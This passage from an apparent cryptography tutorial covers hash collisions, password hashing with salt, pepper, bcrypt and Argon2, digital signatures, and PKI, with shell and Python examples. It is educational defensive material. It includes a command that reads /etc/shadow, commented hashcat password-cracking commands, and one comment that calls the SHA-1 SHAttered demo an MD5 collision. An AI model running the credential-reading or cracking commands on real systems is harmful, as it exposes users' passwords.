&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MD5 (Ronald Rivest, 1992):
  Output: 128-bit (32 hex characters)

Timeline of MD5's death:
  1993: Den Boer and Bosselaers: theoretical weaknesses found
  1996: Dobbertin: MD5 compression function collisions found (partial break)
  2004: Wang et al.: first full MD5 collisions computed
         Cost: hours on a laptop
  2005: Lenstra et al.: demonstrated MD5-based X.509 certificate collision
         Two different certificates with the same MD5 hash
  2008: CMU/Sotirov: rogue CA certificate using MD5 collision
         Created fraudulent intermediate CA certificate trusted by all browsers
         Full HTTPS impersonation of any website theoretically possible
  2012: Flame malware: used MD5 collision to forge Microsoft code-signing certificate
         Malware appeared to be legitimately signed by Microsoft
         Affected: Iranian nuclear programme (likely)

MD5 in security today:
  NEVER use for: passwords, digital signatures, certificates, any security purpose
  MAY use for: non-security file deduplication, non-security checksums
               (but SHA-256 is equally fast and secure — just use SHA-256)
  Found in: legacy systems, old configurations, some OT firmware update checks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 SHA-1 — Broken
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SHA-1 (NIST, 1995):
  Output: 160-bit (40 hex characters)

Timeline:
  2005: Xiaoyun Wang: theoretical collision attack (2^69 operations vs 2^80 ideal)
  2007: NIST recommends migration away from SHA-1
  2011: CA/Browser Forum: ban SHA-1 certificates after 2015
  2017: SHAttered attack (Google/CWI Amsterdam):
         First SHA-1 collision computed
         Two different PDF files with IDENTICAL SHA-1 hashes
         Cost: 9 quintillion SHA-1 computations = ~$100,000 in cloud computing
         Same PDF files have different content but same SHA-1 hash

  2020: Chosen-prefix collision: find collision given arbitrary prefixes
         More powerful than identical-prefix collision
         Cost reduced to ~$50,000

Impact of SHAttered:
  Git uses SHA-1 internally (aware, mitigations added: SHA-256 migration ongoing)
  Any SHA-1-based integrity check can potentially be bypassed

SHA-1 in security today:
  NEVER use for: digital signatures, certificates, TLS, code signing
  Legacy OT concern: many industrial firmware update mechanisms use SHA-1
                     for integrity verification — still vulnerable to SHAttered
                     type attacks on controlled devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.5 SHA-256 and SHA-3
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SHA-256 (NIST, 2001) — Part of SHA-2 family:
  Output: 256-bit (64 hex characters)
  Internal structure: Merkle-Damgård construction with Davies-Meyer compression
  No practical attacks known
  Used in: Bitcoin, TLS, code signing, most modern security applications

SHA-3 (Keccak, NIST standardised 2015):
  Different internal structure from SHA-2 (sponge construction)
  Not vulnerable to length extension attacks (SHA-2 is)
  SHA-3-256 output: 256-bit
  Adoption: slower (SHA-2 still dominant)
  Use case: when diversity from SHA-2 is needed (defence against future SHA-2 attacks)

Length Extension Attack (SHA-2 weakness, not SHA-3):
  Given H(m) and len(m) but NOT m:
  Attacker can compute H(m || padding || extension) without knowing m

  Attack scenario:
  API: sign request with SHA-256(secret_key || request_params)
  Attacker: knows H(secret_key || "user=alice")
            Can compute H(secret_key || "user=alice" || padding || "&amp;amp;admin=true")
            Without knowing secret_key!

  Fix: use HMAC instead of raw hash for message authentication
  HMAC is not vulnerable to length extension attacks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hash function demonstrations:&lt;/span&gt;

&lt;span class="c"&gt;# Calculate hashes of same file:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello World"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; test.txt
&lt;span class="nb"&gt;md5sum &lt;/span&gt;test.txt         &lt;span class="c"&gt;# MD5: e59ff97941044f85df5297e1c302d260&lt;/span&gt;
&lt;span class="nb"&gt;sha1sum &lt;/span&gt;test.txt        &lt;span class="c"&gt;# SHA1: 648a6a6ffffdaa0badb23b8baf90b6168dd16b3a&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;test.txt      &lt;span class="c"&gt;# SHA256: d2a84f4b8b650937ec8f73cd8be2c74add5a911ba64df27458ed8229da804a26&lt;/span&gt;
&lt;span class="nb"&gt;sha512sum &lt;/span&gt;test.txt      &lt;span class="c"&gt;# SHA512: (128 hex chars)&lt;/span&gt;
&lt;span class="nb"&gt;b2sum &lt;/span&gt;test.txt          &lt;span class="c"&gt;# BLAKE2b (package: b2sum)&lt;/span&gt;

&lt;span class="c"&gt;# Verify file integrity (download verification):&lt;/span&gt;
wget https://example.com/software.tar.gz
wget https://example.com/software.tar.gz.sha256sum
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; software.tar.gz.sha256sum
&lt;span class="c"&gt;# "software.tar.gz: OK" = file not tampered&lt;/span&gt;

&lt;span class="c"&gt;# Demonstrate avalanche effect:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import hashlib

msg1 = b"Hello World"
msg2 = b"Hello world"  # Only capital W changed

h1 = hashlib.sha256(msg1).hexdigest()
h2 = hashlib.sha256(msg2).hexdigest()

print(f"SHA-256('Hello World'): {h1}")
print(f"SHA-256('Hello world'): {h2}")

# Count differing bits:
b1 = int(h1, 16)
b2 = int(h2, 16)
diff = bin(b1 ^ b2).count('1')
print(f"Differing bits: {diff} out of 256 ({diff/256*100:.1f}%)")
# Approximately 128 bits differ (50%) — avalanche effect
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Demonstrate MD5 collision (SHAttered file pair):&lt;/span&gt;
&lt;span class="c"&gt;# Download the two PDF files that have same SHA-1:&lt;/span&gt;
&lt;span class="c"&gt;# wget https://shattered.io/static/shattered-1.pdf&lt;/span&gt;
&lt;span class="c"&gt;# wget https://shattered.io/static/shattered-2.pdf&lt;/span&gt;
&lt;span class="c"&gt;# sha1sum shattered-1.pdf shattered-2.pdf  # IDENTICAL SHA-1&lt;/span&gt;
&lt;span class="c"&gt;# sha256sum shattered-1.pdf shattered-2.pdf  # DIFFERENT SHA-256&lt;/span&gt;

&lt;span class="c"&gt;# HMAC (keyed hash, MAC):&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import hmac, hashlib
key = b'secret_key'
message = b'user=alice&amp;amp;action=transfer&amp;amp;amount=1000'
mac = hmac.new(key, message, hashlib.sha256).hexdigest()
print(f'HMAC-SHA256: {mac}')
# Attacker cannot forge this without knowing the key
# Not vulnerable to length extension attacks
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Salt and Pepper — Password Hashing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Naive Password Hashing Fails
&lt;/h3&gt;

&lt;p&gt;Simply hashing passwords and storing the hash is insufficient protection. Two attacks defeat it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack 1 — Rainbow Tables:
  Precompute hashes of millions of common passwords:
  MD5("password")  = "5f4dcc3b5aa765d61d8327deb882cf99"
  MD5("123456")    = "e10adc3949ba59abbe56e057f20f883e"
  MD5("admin")     = "21232f297a57a5a743894a0e4a801fc3"

  Breach database → look up hash in precomputed table → plaintext in milliseconds
  No computation needed — just lookup

  Countermeasure: Salt (makes precomputation impossible)

Attack 2 — Dictionary Attack:
  Hash common passwords and compare to stolen hashes
  For each candidate password: compute hash → compare
  GPU can compute billions of SHA-256 hashes per second

  Countermeasure: Slow hash functions (bcrypt, scrypt, Argon2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Salt
&lt;/h3&gt;

&lt;p&gt;A salt is a random value unique to each password, added before hashing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITHOUT SALT:
  User A: password "letmein" → SHA-256 → "b3fba..."
  User B: password "letmein" → SHA-256 → "b3fba..."

  Same password → same hash
  Attacker sees: User A and B have same hash → same password
  Crack one → crack both
  Rainbow table works: "b3fba..." → "letmein"

WITH SALT:
  User A: password "letmein" + salt "xK7mP2" → SHA-256 → "a1b2c3..."
  User B: password "letmein" + salt "9qRnL5" → SHA-256 → "z9y8x7..."

  Same password → DIFFERENT hashes (different salts)
  Attacker must crack each hash independently
  Rainbow tables are useless (different salt = different table needed per user)

  Salt must be:
  - Random (generated with CSPRNG)
  - Unique per password (even same user resetting password gets new salt)
  - Stored alongside the hash (not secret — attacker who gets DB gets salt too)
    But that's OK — salt defeats rainbow tables even when known
  - Long enough: 16+ bytes (128+ bits)

bcrypt (Blowfish-based, 1999):
  Incorporates salt automatically
  Output format: $2b$12$SALT22CHARS.HASH31CHARS
    $2b$ = bcrypt version
    12   = cost factor (2^12 rounds = 4096 iterations)
    next 22 chars = salt (128 bits)
    last 31 chars = hash

  Cost factor: controls speed (and therefore brute-force resistance)
  Higher cost = slower hash = more resistant to brute force
  Recommendation: choose cost factor so hashing takes 100-300ms
  Increase cost factor over time as hardware gets faster

Argon2 (Password Hashing Competition winner, 2015):
  Three variants:
  Argon2d: data-dependent, resists GPU cracking
  Argon2i: data-independent, resists side-channel attacks
  Argon2id: hybrid, RECOMMENDED for passwords

  Parameters: time cost, memory cost, parallelism
  Memory cost: makes hardware attacks (ASIC/GPU) expensive
  Argon2id(time=3, memory=64MB, parallel=4) recommended by OWASP (2024)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Pepper
&lt;/h3&gt;

&lt;p&gt;A pepper is an additional secret value added to passwords before hashing, stored separately from the database (in application code, HSM, or configuration).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITH SALT + PEPPER:
  password + salt + pepper → hash

  Storage:
  Database: salt + hash (attacker who breaches DB gets these)
  Application/HSM: pepper (attacker who only breaches DB doesn't have this)

  Even with: stolen database + knowing salt + knowing algorithm
  Attacker cannot crack without pepper
  Must also breach application server or HSM

  Pepper requirements:
  - HIGH entropy (256 bits random)
  - Different from the salt
  - Stored separately from the database (application config, HSM)
  - Never logged or exposed in error messages
  - Rotate with re-hashing (requires all users to re-authenticate)

Limitations:
  If attacker compromises BOTH database AND application server: both salt and pepper available
  Pepper is only effective if the attacker has access to ONE but not both

Combined: salt + pepper + slow hash (Argon2id or bcrypt) is the current gold standard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Password hashing in practice:&lt;/span&gt;

&lt;span class="c"&gt;# bcrypt in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import bcrypt
import time

password = b"UserPassword123!"
pepper = b"AppSecretPepper256BitRandom"  # Store in app config, not DB

# Hash (bcrypt handles salt automatically)
peppered = password + pepper
start = time.time()
hashed = bcrypt.hashpw(peppered, bcrypt.gensalt(rounds=12))
elapsed = time.time() - start
print(f"bcrypt hash: {hashed.decode()}")
print(f"Time to hash: {elapsed:.3f}s (should be ~100-300ms)")

# Verify:
is_valid = bcrypt.checkpw(peppered, hashed)
print(f"Password valid: {is_valid}")

# Wrong password:
wrong = b"WrongPassword" + pepper
is_valid = bcrypt.checkpw(wrong, hashed)
print(f"Wrong password valid: {is_valid}")  # False
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Argon2id in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# OWASP recommended parameters
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4, hash_len=32, salt_len=16)
# time_cost=3: 3 iterations
# memory_cost=65536: 64MB RAM (makes GPU/ASIC attacks expensive)
# parallelism=4: use 4 threads

password = "UserPassword123!"
pepper = "AppSecretPepper"

hash_val = ph.hash(password + pepper)
print(f"Argon2id hash: {hash_val[:50]}...")

# Verify:
try:
    ph.verify(hash_val, password + pepper)
    print("Password valid")
except VerifyMismatchError:
    print("Password invalid")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check what hash algorithm is used in /etc/shadow:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c1-5&lt;/span&gt;
&lt;span class="c"&gt;# $6$ = SHA-512 (acceptable for system use)&lt;/span&gt;
&lt;span class="c"&gt;# $5$ = SHA-256&lt;/span&gt;
&lt;span class="c"&gt;# $y$ = yescrypt (best, modern Linux default)&lt;/span&gt;
&lt;span class="c"&gt;# $2b$ = bcrypt&lt;/span&gt;
&lt;span class="c"&gt;# Blank or no $ = no password (check immediately!)&lt;/span&gt;

&lt;span class="c"&gt;# Crack example hashes to understand speed difference:&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 0 hash.txt wordlist.txt        # MD5: billions/sec&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 3200 hash.txt wordlist.txt     # bcrypt: thousands/sec&lt;/span&gt;
&lt;span class="c"&gt;# hashcat -m 1800 hash.txt wordlist.txt     # SHA-512crypt: millions/sec&lt;/span&gt;
&lt;span class="c"&gt;# Speed difference: MD5 = 1,000,000× faster than bcrypt&lt;/span&gt;
&lt;span class="c"&gt;# This is exactly why bcrypt for passwords matters&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Password storage security is not about using "a hash" — it is about using a purpose-built, slow password hashing function (Argon2id or bcrypt) with a random unique salt. SHA-256(password) is not password storage — it is broken password storage. The goal is to make brute forcing so slow that even a database breach yields no crackable passwords within an attacker's operational window.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Digital Signatures
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What Digital Signatures Provide
&lt;/h3&gt;

&lt;p&gt;A digital signature provides three guarantees simultaneously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication:&lt;/strong&gt; The message came from the claimed sender (they have the private key)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity:&lt;/strong&gt; The message has not been modified since signing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Non-repudiation:&lt;/strong&gt; The sender cannot deny having sent it (only they have the private key)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Digital Signature Process:

SIGNING (sender with private key):
  Message M → Hash(M) → Sign with Private Key → Signature S
  Send: (M, S)

VERIFICATION (receiver with public key):
  Receive: (M, S)
  Compute: Hash(M) → H1
  Decrypt: S with Public Key → H2
  Verify:  H1 == H2?
    YES: signature valid (M not tampered, came from key holder)
    NO:  signature invalid (M modified, or wrong signer)

Why hash first?
  RSA can only sign data ≤ key size (2048 bits)
  Hash reduces any-size message to fixed output (256 bits for SHA-256)
  Sign the hash, not the message

  RSA-PSS (Probabilistic Signature Scheme) — correct:
  Uses random salt, provably secure, RECOMMENDED

  RSA-PKCS1v15 — legacy:
  Deterministic, older vulnerabilities, still widely used but avoid for new systems

  ECDSA (Elliptic Curve Digital Signature Algorithm):
  Based on ECC discrete log problem
  256-bit signature (much shorter than RSA-2048's 256-byte signature)
  Requires cryptographically random k value per signature

  Critical ECDSA vulnerability: k reuse
  If same k used twice with different messages:
  Private key can be recovered algebraically

  2010: PlayStation 3 used constant k in ECDSA → private key recovered
  2013: Android Bitcoin wallet ECDSA k reuse → keys stolen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Code Signing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Code Signing: applying digital signatures to software to verify authenticity

Windows Authenticode:
  Developer signs executable with private key (from certificate authority)
  Windows verifies signature before execution (if policy enforced)
  "Published by: Microsoft Corporation" with valid chain → trusted
  Self-signed → warning
  No signature → warning or block

  Attack: steal code signing certificate and private key
  Example: Stuxnet used stolen certificates from Realtek and JMicron
           to sign kernel drivers → bypassed Windows driver signing requirement

Linux Package Signing:
  Debian/Ubuntu: GPG signatures on packages + repository metadata
  RPM: GPG signatures on packages
  apt: verifies package signatures automatically

  Verify GPG signature:
  gpg --verify file.sig file

Certificate Transparency (CT):
  All publicly trusted TLS certificates must be logged to CT logs
  Allows monitoring for unexpected certificates for your domains
  Tools: crt.sh, certspotter, Google CT

SSH Host Key Verification:
  SSH server presents public key fingerprint
  Client verifies against known_hosts
  First connection: TOFU (Trust On First Use) — user must verify
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Digital signatures in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Sign a file with private key:&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-sign&lt;/span&gt; private.pem &lt;span class="nt"&gt;-out&lt;/span&gt; signature.bin document.txt

&lt;span class="c"&gt;# Verify signature:&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-verify&lt;/span&gt; public.pem &lt;span class="nt"&gt;-signature&lt;/span&gt; signature.bin document.txt
&lt;span class="c"&gt;# "Verified OK" = authentic and unmodified&lt;/span&gt;

&lt;span class="c"&gt;# Sign with GPG:&lt;/span&gt;
gpg &lt;span class="nt"&gt;--gen-key&lt;/span&gt;                                    &lt;span class="c"&gt;# Generate GPG key pair&lt;/span&gt;
gpg &lt;span class="nt"&gt;--sign&lt;/span&gt; &lt;span class="nt"&gt;--armor&lt;/span&gt; document.txt                  &lt;span class="c"&gt;# Sign (creates document.txt.asc)&lt;/span&gt;
gpg &lt;span class="nt"&gt;--verify&lt;/span&gt; document.txt.asc document.txt       &lt;span class="c"&gt;# Verify signature&lt;/span&gt;

&lt;span class="c"&gt;# Python - sign and verify:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.asymmetric import ec, utils
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# Generate EC key pair (P-256)
private_key = ec.generate_private_key(ec.SECP256R1())
public_key = private_key.public_key()

# Sign message
message = b"This document is authentic"
signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
print(f"Signature: {signature.hex()[:40]}... ({len(signature)} bytes)")

# Verify - original message:
try:
    public_key.verify(signature, message, ec.ECDSA(hashes.SHA256()))
    print("Signature VALID")
except InvalidSignature:
    print("Signature INVALID")

# Verify - tampered message:
tampered = b"This document is authentic and has extra admin=true"
try:
    public_key.verify(signature, tampered, ec.ECDSA(hashes.SHA256()))
    print("Tampered signature VALID")  # Should never reach here
except InvalidSignature:
    print("Tampered message: Signature INVALID — tampering detected!")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check certificate signature:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A3&lt;/span&gt; &lt;span class="s2"&gt;"Signature Algorithm"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. PKI — Public Key Infrastructure
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 The Problem PKI Solves
&lt;/h3&gt;

&lt;p&gt;Asymmetric cryptography lets us encrypt to anyone with their public key. But how do you know that the public key claiming to be "google.com" actually belongs to Google and not an attacker?&lt;/p&gt;

&lt;p&gt;PKI (Public Key Infrastructure) is the system of trust, policies, procedures, and technologies that manages digital certificates, binding public keys to verified identities.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The Man-in-the-Middle Problem:

Without PKI:
  Alice wants to connect to "bank.com"
  Attacker intercepts connection:
  Alice ←→ Attacker ←→ Bank
  Attacker sends own public key to Alice, claiming to be Bank
  Alice encrypts with attacker's key
  Attacker decrypts, re-encrypts with bank's real key
  Alice has no way to know she's talking to the attacker

With PKI:
  Bank has a certificate signed by a trusted Certificate Authority (CA)
  Certificate contains: Bank's public key + domain name + CA signature
  Alice's browser trusts the CA (comes pre-installed)
  Browser verifies: CA signature is valid → this public key belongs to bank.com
  Attacker cannot forge this — doesn't have CA's private key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Certificate Structure (X.509)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X.509 Certificate Fields:

Version:             3 (v3 is current)
Serial Number:       Unique identifier assigned by CA
Signature Algorithm: sha256WithRSAEncryption or ecdsa-with-SHA256
Issuer:              CA that signed this certificate
                     CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1
Validity:
  Not Before:        2024-01-01 00:00:00 UTC
  Not After:         2025-01-31 23:59:59 UTC
Subject:             Who this certificate belongs to
                     CN=*.google.com, O=Google LLC, C=US
Subject Public Key:  The actual public key (RSA or EC)
                     RSA 2048-bit or ECC P-256
Extensions:
  Subject Alternative Names (SANs): All domains covered
    DNS:*.google.com
    DNS:google.com
  Key Usage: Digital Signature, Key Encipherment
  Extended Key Usage: TLS Web Server Authentication
  Certificate Policies: https://pki.goog/repository/
  CRL Distribution Points: URL to check if certificate is revoked
  OCSP: URL for real-time revocation checking
  Certificate Transparency: SCT list (proof of CT log inclusion)
Signature: CA's signature over all of the above
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Certificate Chain of Trust
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PKI Trust Hierarchy:

Root CA (self-signed, highest trust)
  └── Intermediate CA (signed by Root CA)
        └── End-Entity Certificate (signed by Intermediate CA)
            (the certificate for google.com, for example)

Root CA:
  Stored in OS/browser trust stores (pre-installed)
  ~150 trusted root CAs in major browsers
  Private key extremely protected (offline, HSM, physical vault)
  Very rarely used directly (too valuable to risk)

Intermediate CA:
  Signed by root CA, issues end-entity certificates
  Private key stored in HSM (Hardware Security Module)
  If compromised: can be revoked without compromising root

End-Entity Certificate:
  Issued to the specific organisation/domain
  Short-lived (1 year max since 2020 for public TLS)

Chain validation:
  Browser validates end-entity cert is signed by intermediate CA
  Validates intermediate CA is signed by root CA
  Validates root CA is in trusted store
  Validates none are expired or revoked
  Validates domain name matches (SAN check)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Certificate Revocation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What if a private key is compromised? Certificate must be revoked.

CRL (Certificate Revocation List):
  List of revoked serial numbers, signed by CA, published periodically
  Browsers download CRL and check if certificate serial number is in it
  Problem: CRL can be large, infrequent updates, check often skipped

OCSP (Online Certificate Status Protocol):
  Real-time revocation check — query CA's OCSP responder per certificate
  Faster than CRL, smaller response
  Problem: Privacy (CA knows which sites you visit), performance, failure mode

OCSP Stapling:
  Server periodically fetches its own OCSP response from CA
  Includes ("staples") the response in TLS handshake
  Browser gets revocation status without contacting CA
  Best approach: solves privacy and performance

Revocation in practice (sadly):
  Browser failure to get CRL/OCSP response → typically ALLOW connection
  "Soft fail" = revocation checking provides minimal real protection
  Exception: Certificate Pinning — browser refuses connection if pin mismatch

CAA DNS Records:
  DNS record specifying which CAs may issue certificates for your domain
  example.com CAA 0 issue "letsencrypt.org"
  Prevents misissued certificates from unauthorised CAs
  Check: dig CAA yourdomain.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PKI and certificate analysis:&lt;/span&gt;

&lt;span class="c"&gt;# View a server's full certificate chain:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 &lt;span class="nt"&gt;-showcerts&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"BEGIN|END|subject|issuer|Not"&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Subject:|Issuer:|Not After|DNS:"&lt;/span&gt;

&lt;span class="c"&gt;# Verify certificate chain:&lt;/span&gt;
openssl verify &lt;span class="nt"&gt;-CAfile&lt;/span&gt; /etc/ssl/certs/ca-certificates.crt certificate.pem

&lt;span class="c"&gt;# Check OCSP status:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 &lt;span class="nt"&gt;-status&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"OCSP"&lt;/span&gt;

&lt;span class="c"&gt;# Check if certificate is about to expire (monitoring):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-enddate&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{}"&lt;/span&gt; +%s | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;now&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="s1"&gt;'{days=($1-now)/86400; print "Expires in " int(days) " days"}'&lt;/span&gt;

&lt;span class="c"&gt;# Monitor certificate changes (detect unexpected reissue):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-fingerprint&lt;/span&gt; &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt;
&lt;span class="c"&gt;# Compare fingerprint over time — unexpected change = possible attack or cert rotation&lt;/span&gt;

&lt;span class="c"&gt;# Certificate transparency monitoring (your domain):&lt;/span&gt;
